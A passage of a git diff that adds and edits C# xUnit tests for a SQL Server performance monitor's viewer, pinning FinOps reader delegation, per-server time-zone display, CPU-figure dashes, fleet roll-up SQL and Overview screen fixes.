+            var none = ServerPropertyRow.From(Dto(2, null, null), clock);
+            Assert.Null(none.InventoryAsOf);
+            Assert.Null(none.LastCollected);
+
+            var mixed = ServerPropertyRow.From(Dto(3, asOf, null), clock);
+            Assert.Equal(asOf + offset, mixed.InventoryAsOf);
+            Assert.Null(mixed.LastCollected);
+        }
+        finally
+        {
+            ViewerTimeHelper.CurrentDisplayMode = saved;
+        }
+    }
+
+    private static ServerInventoryDto Dto(int id, DateTime? asOfUtc, DateTime? collectedUtc) => new(
+        id, "SQL" + id, "Standard", "16.0", 2, 4, 8192, null, 1, 4, false, false,
+        asOfUtc, null, "Windows", "", true, 0m, collectedUtc);
+
     [Fact]
     public void AppConnections_ARowReadsItsOwnServersWallTime_NotTheActiveTabs()
     {
@@ -159,19 +195,39 @@ public void TheLoaders_StampEachRowsClock_AndConvertTheSortValuesOnIt()
         var connections = ViewerTypedRangeTests.MemberText(workload, "GetApplicationConnectionsAsync");
         Assert.Contains("GetServerClocksAsync(serverId, cancellationToken)", connections);
         Assert.Contains("ClockForServerOrMachine(", connections);
-        Assert.Contains("Clock = clock", connections);
-        Assert.Contains("ConvertToDisplay(reader.GetDateTime(18), ViewerTimeHelper.CurrentDisplayMode, clock)", connections);
-        Assert.Contains("ConvertToDisplay(reader.GetDateTime(19), ViewerTimeHelper.CurrentDisplayMode, clock)", connections);
+        Assert.Contains("ApplicationConnectionRow.From(d, clock)", connections);
         Assert.DoesNotContain("ForDisplay(", connections);
 
+        /* The display conversion stays in the viewer's row mapper, on the row's own clock. */
+        var connRowsSource = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.ViewerSource("ViewerDataService.FinOps.cs", ThisFile()));
+        var connStart = connRowsSource.IndexOf("public static ApplicationConnectionRow From", StringComparison.Ordinal);
+        Assert.True(connStart >= 0, "ApplicationConnectionRow.From was not found in ViewerDataService.FinOps.cs.");
+        var connEnd = connRowsSource.IndexOf("};", connStart, StringComparison.Ordinal);
+        Assert.True(connEnd > connStart, "The end of the ApplicationConnectionRow.From initializer was not found.");
+        var connMapper = connRowsSource[connStart..connEnd];
+        Assert.Contains("Clock = clock", connMapper);
+        Assert.Contains("ConvertToDisplay(d.FirstSeenUtc, ViewerTimeHelper.CurrentDisplayMode, clock)", connMapper);
+        Assert.Contains("ConvertToDisplay(d.LastSeenUtc, ViewerTimeHelper.CurrentDisplayMode, clock)", connMapper);
+        Assert.DoesNotContain("ForDisplay(", connMapper);
+
         var inventorySource = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.ViewerSource("ViewerDataService.FinOps.Inventory.cs", ThisFile()));
         var inventory = ViewerTypedRangeTests.MemberText(inventorySource, "GetServerInventoryAsync");
         Assert.Contains("GetServerClocksAsync(null, cancellationToken)", inventory);
-        Assert.Contains("ClockForServerOrMachine(clocks, serverId, TimeZoneInfo.Local, nowUtc)", inventory);
-        Assert.Contains("Clock = clock", inventory);
-        Assert.Contains("ConvertToDisplay(reader.GetDateTime(13), ViewerTimeHelper.CurrentDisplayMode, clock)", inventory);
-        Assert.Contains("ConvertToDisplay(reader.GetDateTime(19), ViewerTimeHelper.CurrentDisplayMode, clock)", inventory);
+        Assert.Contains("ClockForServerOrMachine(clocks, dto.ServerId, TimeZoneInfo.Local, nowUtc)", inventory);
+        Assert.Contains("ServerPropertyRow.From(dto, clock)", inventory);
         Assert.DoesNotContain("ForDisplay(", inventory);
+
+        /* The display conversion stays in the viewer's row mapper, on the row's own clock. */
+        var rowsSource = ViewerTypedRangeTests.StripComments(ViewerTypedRangeTests.ViewerSource("ViewerDataService.FinOps.cs", ThisFile()));
+        var start = rowsSource.IndexOf("public static ServerPropertyRow From", StringComparison.Ordinal);
+        Assert.True(start >= 0, "ServerPropertyRow.From was not found in ViewerDataService.FinOps.cs.");
+        var end = rowsSource.IndexOf("};", start, StringComparison.Ordinal);
+        Assert.True(end > start, "The end of the ServerPropertyRow.From initializer was not found.");
+        var mapper = rowsSource[start..end];
+        Assert.Contains("Clock = clock", mapper);
+        Assert.Contains("ConvertToDisplay(asOf, ViewerTimeHelper.CurrentDisplayMode, clock)", mapper);
+        Assert.Contains("ConvertToDisplay(last, ViewerTimeHelper.CurrentDisplayMode, clock)", mapper);
+        Assert.DoesNotContain("ForDisplay(", mapper);
     }
 
     private static string ThisFile([CallerFilePath] string thisFile = "") => thisFile;
diff --git a/Darling/Darling.Tests/ViewerFinOpsStorageGrowthDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsStorageGrowthDelegatesTests.cs
new file mode 100644
index 0000000000..440ec0d7ce
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsStorageGrowthDelegatesTests.cs
@@ -0,0 +1,89 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>Source pins: the viewer's four Optimization reads stay thin delegates to the storage reader.</summary>
+public sealed class ViewerFinOpsStorageGrowthDelegatesTests
+{
+    private static string ViewerFile(string name)
+    {
+        var dir = AppContext.BaseDirectory;
+        while (dir != null && !Directory.Exists(Path.Combine(dir, "PerformanceMonitor.Darling.Viewer")))
+            dir = Path.GetDirectoryName(dir);
+        Assert.NotNull(dir);
+        return File.ReadAllText(Path.Combine(dir!, "PerformanceMonitor.Darling.Viewer", name)).ReplaceLineEndings("\n");
+    }
+
+    private static readonly string[] SqlMarkers =
+    {
+        "WITH log_service_files AS", "JOIN ranked r ON", "COALESCE(user_seeks", "FROM v_index_object_stats",
+    };
+
+    [Fact]
+    public void TheViewerPartial_HoldsNoneOfTheMovedSqlTexts()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Storage.cs");
+        foreach (var marker in SqlMarkers)
+            Assert.DoesNotContain(marker, src);
+    }
+
+    [Theory]
+    [InlineData("GetStorageGrowthAsync(", "DarlingFinOpsStorageGrowthReader.GetStorageGrowthAsync(", "StorageGrowthRow.From")]
+    [InlineData("GetObjectGrowthHeatmapDataAsync(", "DarlingFinOpsStorageGrowthReader.GetObjectGrowthHeatmapDataAsync(", "ObjectSizeGrowthRow.From")]
+    [InlineData("GetObjectIndexDetailAsync(", "DarlingFinOpsStorageGrowthReader.GetObjectIndexDetailAsync(", "IndexUsageRow.From")]
+    public void EachRead_CallsTheStorageReaderAndMapsThroughFrom(string method, string call, string map)
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Storage.cs");
+        var at = src.LastIndexOf("public async Task<", src.IndexOf("> " + method, StringComparison.Ordinal), StringComparison.Ordinal);
+        Assert.True(at >= 0);
+        var tail = src[at..];
+        Assert.Contains(call, tail);
+        Assert.Contains(map, tail);
+        Assert.Contains("ViewerCommandDeadlines.CurrentInteractiveReadSeconds", tail);
+    }
+
+    [Fact]
+    public void TheStayingDatabaseSizeReads_CallTheStorageProbe()
+    {
+        var src = ViewerFile("ViewerDataService.FinOps.Storage.cs");
+        foreach (var method in new[] { "GetDatabaseSizeLatestAsync(", "GetDatabaseSizeSummaryAsync(" })
+        {
+            var at = src.LastIndexOf("public async Task<", src.IndexOf("Task<", src.IndexOf(method, StringComparison.Ordinal) - 140, StringComparison.Ordinal) + 5, StringComparison.Ordinal);
+            var end = src.IndexOf("public async Task<", at + 10, StringComparison.Ordinal);
+            var body = end < 0 ? src[at..] : src[at..end];
+            Assert.Contains("DarlingFinOpsStorageGrowthReader.GetLatestDatabaseSizeSnapshotAsync(", body);
+        }
+        Assert.DoesNotContain("private async Task<DateTime?>", src);
+        Assert.DoesNotContain("TimestampOrNull", src);
+    }
+
+    [Fact]
+    public void EachViewerConstant_IsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.StorageGrowthSql, ViewerDataService.StorageGrowthSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.ObjectGrowthBoundsSql, ViewerDataService.ObjectGrowthBoundsSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.ObjectGrowthSummarySql, ViewerDataService.ObjectGrowthSummarySql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.ObjectGrowthSeriesSql, ViewerDataService.ObjectGrowthSeriesSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.ObjectIndexDetailSql, ViewerDataService.ObjectIndexDetailSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.DatabaseSizeSnapshotWindowedProbeSql, ViewerDataService.DatabaseSizeSnapshotWindowedProbeSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.DatabaseSizeSnapshotFallbackProbeSql, ViewerDataService.DatabaseSizeSnapshotFallbackProbeSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.DatabaseSizeLatestSnapshotWindowedProbeSql, ViewerDataService.DatabaseSizeLatestSnapshotWindowedProbeSql);
+        Assert.Equal(DarlingFinOpsStorageGrowthReader.DatabaseSizeLatestSnapshotFallbackProbeSql, ViewerDataService.DatabaseSizeLatestSnapshotFallbackProbeSql);
+        var src = ViewerFile("ViewerDataService.FinOps.Storage.cs");
+        foreach (var name in new[] { "StorageGrowthSql", "ObjectGrowthBoundsSql", "ObjectGrowthSummarySql", "ObjectGrowthSeriesSql", "ObjectIndexDetailSql",
+                     "DatabaseSizeSnapshotWindowedProbeSql", "DatabaseSizeSnapshotFallbackProbeSql", "DatabaseSizeLatestSnapshotWindowedProbeSql", "DatabaseSizeLatestSnapshotFallbackProbeSql" })
+            Assert.Contains($"public const string {name} = DarlingFinOpsStorageGrowthReader.{name};", src);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsUtilizationDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsUtilizationDelegatesTests.cs
new file mode 100644
index 0000000000..68dc02928c
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsUtilizationDelegatesTests.cs
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The FinOps Utilization reads live once, in <see cref="DarlingFinOpsUtilizationReader"/>. The viewer's partial
+/// holds no SQL text, calls the reader, and keeps each <c>XSql</c> constant as an alias of the Storage constant so
+/// the viewer's SQL pins read the same text.
+/// </summary>
+public sealed class ViewerFinOpsUtilizationDelegatesTests
+{
+    private static string ViewerSource([System.Runtime.CompilerServices.CallerFilePath] string thisFile = "") =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer",
+            "ViewerDataService.FinOps.Utilization.cs")).ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheUtilizationPartial_HoldsNoSqlText()
+    {
+        Assert.DoesNotContain("@\"", ViewerSource(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheUtilizationPartial_CallsTheStorageReader()
+    {
+        var source = ViewerSource();
+        Assert.Contains("DarlingFinOpsUtilizationReader.GetUtilizationEfficiencyAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingFinOpsUtilizationReader.GetProvisioningTrendAsync(", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingFinOpsUtilizationReader.GetMemoryGrantEfficiencyAsync(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void EachViewerSqlConstant_EqualsTheStorageConstant()
+    {
+        Assert.Equal(DarlingFinOpsUtilizationReader.UtilizationEfficiencySql, ViewerDataService.UtilizationEfficiencySql);
+        Assert.Equal(DarlingFinOpsUtilizationReader.ProvisioningTrendSql, ViewerDataService.ProvisioningTrendSql);
+        Assert.Equal(DarlingFinOpsUtilizationReader.MemoryGrantEfficiencySql, ViewerDataService.MemoryGrantEfficiencySql);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsUtilizationFiguresDelegatesTests.cs b/Darling/Darling.Tests/ViewerFinOpsUtilizationFiguresDelegatesTests.cs
new file mode 100644
index 0000000000..21751049c1
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsUtilizationFiguresDelegatesTests.cs
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>The Utilization tab calls the shared figure helpers and holds none of their expressions.</summary>
+public sealed class ViewerFinOpsUtilizationFiguresDelegatesTests
+{
+    private static string Read(string file, string thisFile) =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer", file))
+            .ReplaceLineEndings("\n");
+
+    [Fact]
+    public void TheTab_CallsTheHelpers_AndHoldsNoMovedExpression()
+    {
+        var source = Read("FinOpsTab.Loaders.cs", ThisFile());
+        Assert.Contains("FinOpsUtilizationFigures.StolenMemoryPct(", source, StringComparison.Ordinal);
+        Assert.Contains("FinOpsUtilizationFigures.BufferPoolPct(", source, StringComparison.Ordinal);
+        Assert.Contains("FinOpsUtilizationFigures.FreeSpacePct(", source, StringComparison.Ordinal);
+        Assert.Contains("FinOpsUtilizationFigures.Explanation(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("TotalMemoryMb - data.BufferPoolMb", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("(double)data.BufferPoolMb / data.PhysicalMemoryMb", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("totalFreeMb / totalStorageMb", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("ServerHardwareScope.RightSizedExplanation(", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheRow_ComputesItsHealthScoreThroughTheHelper()
+    {
+        var source = Read("ViewerDataService.FinOps.cs", ThisFile());
+        Assert.Contains("FinOpsUtilizationFigures.HealthScore(", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("FinOpsHealthCalculator.Overall(", source, StringComparison.Ordinal);
+    }
+
+    private static string ThisFile([System.Runtime.CompilerServices.CallerFilePath] string f = "") => f;
+}
diff --git a/Darling/Darling.Tests/ViewerFinOpsUtilizationNoCpuTests.cs b/Darling/Darling.Tests/ViewerFinOpsUtilizationNoCpuTests.cs
new file mode 100644
index 0000000000..5567983a84
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFinOpsUtilizationNoCpuTests.cs
@@ -0,0 +1,87 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Runtime.CompilerServices;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Utilization tab for a server whose last 24 hours hold no CPU sample (a stale server, or one whose CPU collector is off). The
+/// read returns 0 for the three CPU figures in that case, and the tab used to print them as 0.00%, 0.00% and 0%, and to list the
+/// server's database sizes as though they were current. The figures show a dash and the sizes chart is hidden.
+/// </summary>
+public sealed class ViewerFinOpsUtilizationNoCpuTests
+{
+    private static UtilizationEfficiencyRow Row(string provisioningStatus) => new()
+    {
+        ProvisioningStatus = provisioningStatus,
+        AvgCpuPct = 0m,
+        P95CpuPct = 0m,
+        MaxCpuPct = 0
+    };
+
+    [Fact]
+    public void NoCpuSample_ShowsDashesForEveryCpuFigure_NotZeros()
+    {
+        var row = Row("");
+
+        Assert.False(row.HasCpuSample);
+        Assert.Equal("-", row.AvgCpuText);
+        Assert.Equal("-", row.P95CpuText);
+        Assert.Equal("-", row.MaxCpuText);
+    }
+
+    [Fact]
+    public void ACpuSample_ShowsTheMeasuredFigures_EvenWhenTheyAreZero()
+    {
+        var row = Row("OVER_PROVISIONED");
+        row.AvgCpuPct = 12.5m;
+        row.P95CpuPct = 40m;
+        row.MaxCpuPct = 77;
+
+        Assert.Equal($"{12.5m:N2}%", row.AvgCpuText);
+        Assert.Equal($"{40m:N2}%", row.P95CpuText);
+        Assert.Equal("77%", row.MaxCpuText);
+
+        // A measured idle server is a real 0, not a dash.
+        var idle = Row("OVER_PROVISIONED");
+        Assert.Equal($"{0m:N2}%", idle.AvgCpuText);
+        Assert.Equal("0%", idle.MaxCpuText);
+    }
+
+    [Theory]
+    [InlineData("", false)]
+    [InlineData("RIGHT_SIZED", true)]
+    [InlineData("NOT_APPLICABLE", true)]
+    public void TheSizesChart_IsShownOnlyWhenTheWindowHeldACpuSample(string status, bool shown) =>
+        Assert.Equal(shown, Row(status).ShowsDatabaseSizeChart);
+
+    [Fact]
+    public void TheTab_PaintsTheTextFromTheRow_EmptiesTheBars_AndHidesTheChart()
+    {
+        var loaders = Read("FinOpsTab.Loaders.cs", ThisFile());
+
+        Assert.Contains("FinOpsAvgCpuText.Text = data.AvgCpuText;", loaders, StringComparison.Ordinal);
+        Assert.Contains("FinOpsP95CpuText.Text = data.P95CpuText;", loaders, StringComparison.Ordinal);
+        Assert.Contains("FinOpsMaxCpuText.Text = data.MaxCpuText;", loaders, StringComparison.Ordinal);
+        Assert.DoesNotContain("$\"{data.AvgCpuPct:N2}%\"", loaders, StringComparison.Ordinal);
+        Assert.Contains("data.HasCpuSample ? (double)data.AvgCpuPct : 0", loaders, StringComparison.Ordinal);
+        Assert.Contains("FinOpsDbSizeChartGroup.Visibility = data.ShowsDatabaseSizeChart", loaders, StringComparison.Ordinal);
+        Assert.Contains("x:Name=\"FinOpsDbSizeChartGroup\"", Read("FinOpsTab.xaml", ThisFile()), StringComparison.Ordinal);
+    }
+
+    private static string Read(string file, string thisFile) =>
+        File.ReadAllText(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "PerformanceMonitor.Darling.Viewer", file))
+            .ReplaceLineEndings("\n");
+
+    private static string ThisFile([CallerFilePath] string path = "") => path;
+}
diff --git a/Darling/Darling.Tests/ViewerFleetAzureMasterScopeLiveTests.cs b/Darling/Darling.Tests/ViewerFleetAzureMasterScopeLiveTests.cs
index 69dbbdb980..ce1d4a2e3e 100644
--- a/Darling/Darling.Tests/ViewerFleetAzureMasterScopeLiveTests.cs
+++ b/Darling/Darling.Tests/ViewerFleetAzureMasterScopeLiveTests.cs
@@ -115,7 +115,7 @@ public async Task MasterSummarySkipsSeparatelyMonitoredEvents_AndFleetTotalsCoun
     private static async Task RegisterAsync(NpgsqlConnection connection, int id, string host, string? database, int edition, System.Threading.CancellationToken ct)
     {
         await DarlingMcpTestData.ExecAsync(connection, ct,
-            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_engine_edition, sql_major_version, created_date, modified_date) VALUES ($1, $2, $2, TRUE, $3, 16, now()::timestamp, now()::timestamp)",
+            "INSERT INTO servers (server_id, server_name, display_name, is_enabled, sql_engine_edition, sql_major_version, created_date, modified_date) VALUES ($1, $2, $2, TRUE, $3, 16, now() AT TIME ZONE 'UTC', now() AT TIME ZONE 'UTC')",
             id, host + "/" + (database ?? "-"), edition);
         await PropertiesAsync(connection, id, edition, ct);
         await DarlingMcpTestData.ExecAsync(connection, ct,
@@ -126,7 +126,7 @@ await DarlingMcpTestData.ExecAsync(connection, ct,
     /* The newest stored engine edition, the second half of the service's master rule. */
     private static Task PropertiesAsync(NpgsqlConnection connection, int id, int edition, System.Threading.CancellationToken ct) =>
         DarlingMcpTestData.ExecAsync(connection, ct,
-            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, now()::timestamp, $2, 's', $3)",
+            "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, now() AT TIME ZONE 'UTC', $2, 's', $3)",
             CollectionIdGenerator.Next(), id, edition);
 
     /* The master, its two own-target databases and a plain server, with the same events as above. */
@@ -298,7 +298,7 @@ public async Task TheMasterRule_NeedsTheNewestStoredEditionToBeFive_AsTheService
 
             /* A newer properties row for the master: the newest one decides. */
             await DarlingMcpTestData.ExecAsync(connection, ct,
-                "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, now()::timestamp + interval '1 minute', $2, 's', $3)",
+                "INSERT INTO server_properties (collection_id, collection_time, server_id, server_name, engine_edition) VALUES ($1, (now() AT TIME ZONE 'UTC') + interval '1 minute', $2, 's', $3)",
                 CollectionIdGenerator.Next(), MasterId, newestStoredEdition);
 
             await using var viewer = new ViewerDataService(scratch.ConnectionString);
diff --git a/Darling/Darling.Tests/ViewerFleetRollupTests.cs b/Darling/Darling.Tests/ViewerFleetRollupTests.cs
index a6bc5f805c..5e79421329 100644
--- a/Darling/Darling.Tests/ViewerFleetRollupTests.cs
+++ b/Darling/Darling.Tests/ViewerFleetRollupTests.cs
@@ -72,10 +72,25 @@ public void FleetTotalsSql_AddsThePostgresCounterDifferences_NeverTheRawColumn()
     {
         var sql = ViewerDataService.FleetTotalsSql;
         Assert.Contains("FROM pg_database_stats", sql, StringComparison.Ordinal);
-        Assert.Contains("deadlocks - LAG(deadlocks) OVER (PARTITION BY server_id, database_name ORDER BY collection_time)", sql, StringComparison.Ordinal);
+        /* Only the pairs that moved are ordered (#5526), the shape the service's fleet reader carries: the LAG
+           partitions by database inside a server_id = s.server_id filter (the old (server_id, database_name)
+           series), and the single window over the whole fleet's rows (27 s for 30 days on a 50-server store)
+           stays gone. */
+        Assert.Contains("deadlocks - LAG(deadlocks) OVER (PARTITION BY database_name ORDER BY collection_time)", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("PARTITION BY server_id", sql, StringComparison.Ordinal);
+        Assert.Equal(1, CountOccurrences(sql, "OVER ("));
+        /* A pair whose counter never takes two values has only zero or NULL differences and adds nothing to the
+           total, so it is dropped before the ordered pass (this read needs no "a counter in every row" half:
+           it returns the total, not the number of differences). */
+        Assert.Contains("HAVING min(deadlocks) <> max(deadlocks)", sql, StringComparison.Ordinal);
+        Assert.Contains("database_name = ANY (s.ordered_names) OR (s.ordered_null_name AND database_name IS NULL)", sql, StringComparison.Ordinal);
+        Assert.Contains("CROSS JOIN LATERAL", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE server_id = s.server_id", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(GREATEST(sampled.raw_delta, 0))", sql, StringComparison.Ordinal);
-        Assert.Contains("collection_time >= $1", sql, StringComparison.Ordinal);
-        Assert.Contains("collection_time <= $2", sql, StringComparison.Ordinal);
+        /* Both bounds in the pair aggregate AND in the per-server read, so each opens only the window's chunks;
+           the graph-count arm filters on $1/$2 through other column names, so these two are the PostgreSQL arm's. */
+        Assert.Equal(2, CountOccurrences(sql, "collection_time >= $1"));
+        Assert.Equal(2, CountOccurrences(sql, "collection_time <= $2"));
         Assert.DoesNotContain("SUM(deadlocks)", sql, StringComparison.Ordinal);
 
         /* The two halves are ONE column: a second column would let a reader that indexes the deadlock
diff --git a/Darling/Darling.Tests/ViewerFleetScreenWalkFixesTests.cs b/Darling/Darling.Tests/ViewerFleetScreenWalkFixesTests.cs
new file mode 100644
index 0000000000..cbc68b58e8
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerFleetScreenWalkFixesTests.cs
@@ -0,0 +1,243 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling Viewer's fleet screens from the final walk of the release: the Overview card's Last Collect
+/// date (D4), one named clock on the Alert History and Job History time columns (D5), the Alert History row-cap note
+/// (D7), the Overview search narrowing the roll-up above the cards (D9) and a stale Availability Group badge (D10).
+/// Every check is a view-model or pure helper call; none needs a window.
+/// </summary>
+public sealed class ViewerFleetScreenWalkFixesTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+    private readonly ServerClock _savedClock = ViewerTimeHelper.ActiveServerClock;
+    private readonly CultureInfo _savedCulture = CultureInfo.CurrentCulture;
+
+    public ViewerFleetScreenWalkFixesTests()
+    {
+        CultureInfo.CurrentCulture = CultureInfo.InvariantCulture;
+    }
+
+    public void Dispose()
+    {
+        ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+        ViewerTimeHelper.ActiveServerClock = _savedClock;
+        CultureInfo.CurrentCulture = _savedCulture;
+    }
+
+    private static DateTime Utc(int y, int mo, int d, int h, int mi, int s = 0) => new(y, mo, d, h, mi, s, DateTimeKind.Unspecified);
+
+    // ── D4: the Overview card's Last Collect carries its date when it is not today ─────────────────
+
+    [Fact]
+    public void LastCollect_FromToday_IsTimeOnly()
+    {
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 10, 8, 9, 56, 40), TimeZoneInfo.Utc, Utc(2026, 10, 8, 15, 0));
+        Assert.Equal("09:56:40", text);
+    }
+
+    [Fact]
+    public void LastCollect_FromAnotherDay_CarriesTheDate()
+    {
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 9, 25, 9, 56, 40), TimeZoneInfo.Utc, Utc(2026, 10, 8, 15, 0));
+        Assert.Equal("2026-09-25 09:56:40", text);
+    }
+
+    [Fact]
+    public void LastCollect_TodayIsJudgedInTheDisplayZone_NotInUtc()
+    {
+        /* 03:30 UTC on the 8th is 23:30 on the 7th at UTC-4; "now" 12:00 UTC is the 8th there: a different day. */
+        var minusFour = TimeZoneInfo.CreateCustomTimeZone("walk-minus-four", TimeSpan.FromHours(-4), "walk", "walk");
+        var text = ServerSummaryItem.FormatLastCollect(Utc(2026, 10, 8, 3, 30), minusFour, Utc(2026, 10, 8, 12, 0));
+        Assert.Equal("2026-10-07 23:30:00", text);
+    }
+
+    // ── D5: one named clock on the time columns ─────────────────────────────────────────────────────
+
+    [Theory]
+    [InlineData(TimeDisplayMode.UTC, "Time (UTC)")]
+    [InlineData(TimeDisplayMode.LocalTime, "Time (local)")]
+    [InlineData(TimeDisplayMode.ServerTime, "Time (server)")]
+    public void TimeColumnTitle_NamesTheClockOfTheChosenMode(TimeDisplayMode mode, string expected)
+    {
+        Assert.Equal(expected, TimeColumnTitle.For("Time", mode));
+    }
+
+    [Fact]
+    public void JobHistoryRun_ConvertsOnItsOwnServersClock_NotTheActiveServers()
+    {
+        ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.ServerTime;
+        ViewerTimeHelper.ActiveServerClock = ServerClock.FixedOffset(0);
+        var dto = new DarlingJobHistoryRow(
+            1, "SQL2019", 1, "job", "Nightly", true, null, 0, null, 1, "Succeeded", Utc(2026, 10, 8, 12, 0), 5, 0, null, null, false);
+
+        var pacific = ViewerJobHistoryRow.From(dto, ServerClock.FixedOffset(-420));
+        var noClock = ViewerJobHistoryRow.From(dto);
+
+        Assert.Equal("2026-10-08 05:00:00", pacific.RunTimeLocal);
+        Assert.Equal("2026-10-08 12:00:00", noClock.RunTimeLocal);
+    }
+
+    // ── D7: the Alert History count says when the read hit its cap ──────────────────────────────────
+
+    [Fact]
+    public void AlertCount_AtTheCap_SaysShowingTheNewest()
+    {
+        Assert.Equal("500 alert(s) (showing the newest 500)", JobHistoryCap.CountText(500, 500, 500, "alert(s)"));
+    }
+
+    [Fact]
+    public void AlertCount_ColumnFilterNarrowingTheGrid_KeepsTheReadsCapNote()
+    {
+        Assert.Equal("120 alert(s) (showing the newest 500)", JobHistoryCap.CountText(120, 500, 500, "alert(s)"));
+    }
+
+    [Fact]
+    public void AlertCount_BelowTheCap_HasNoNote_AndNothingShownIsBlank()
+    {
+        Assert.Equal("37 alert(s)", JobHistoryCap.CountText(37, 37, 500, "alert(s)"));
+        Assert.Equal("", JobHistoryCap.CountText(0, 500, 500, "alert(s)"));
+    }
+
+    [Fact]
+    public void JobCount_WordingIsUnchanged()
+    {
+        Assert.Equal("2000 run(s) (showing the newest 2,000)", JobHistoryCap.CountText(2000, 2000, 2000));
+    }
+
+    [Fact]
+    public void AlertsTab_ReadsAndLabelsWithTheSameCap()
+    {
+        Assert.Equal(500, PerformanceMonitor.Darling.Viewer.AlertsHistoryTab.RowCap);
+    }
+
+    // ── D9: the Overview search narrows the roll-up above the cards ─────────────────────────────────
+
+    private static ServerSummaryItem Healthy(string name, int id) =>
+        new() { DisplayName = name, ServerName = name, ServerId = id, IsOnline = true };
+
+    private static ServerSummaryItem Offline(string name, int id) =>
+        new() { DisplayName = name, ServerName = name, ServerId = id, IsOnline = false };
+
+    [Fact]
+    public void Rollup_WithNoSearch_IsTheWholeFleet()
+    {
+        var cards = new List<ServerSummaryItem> { Healthy("prod-a", 1), Offline("prod-b", 2), Offline("test-c", 3) };
+
+        var rollup = OverviewCardView.BuildRollup(cards, new FleetTotals(), registeredCount: 4, search: "  ");
+
+        Assert.Equal(4, rollup.TotalServers);
+        Assert.Null(rollup.FilteredOfTotal);
+        Assert.Equal("Monitoring 4 servers", rollup.MonitoringText);
+        Assert.Equal(2, rollup.WorstServers.Count);
+    }
+
+    [Fact]
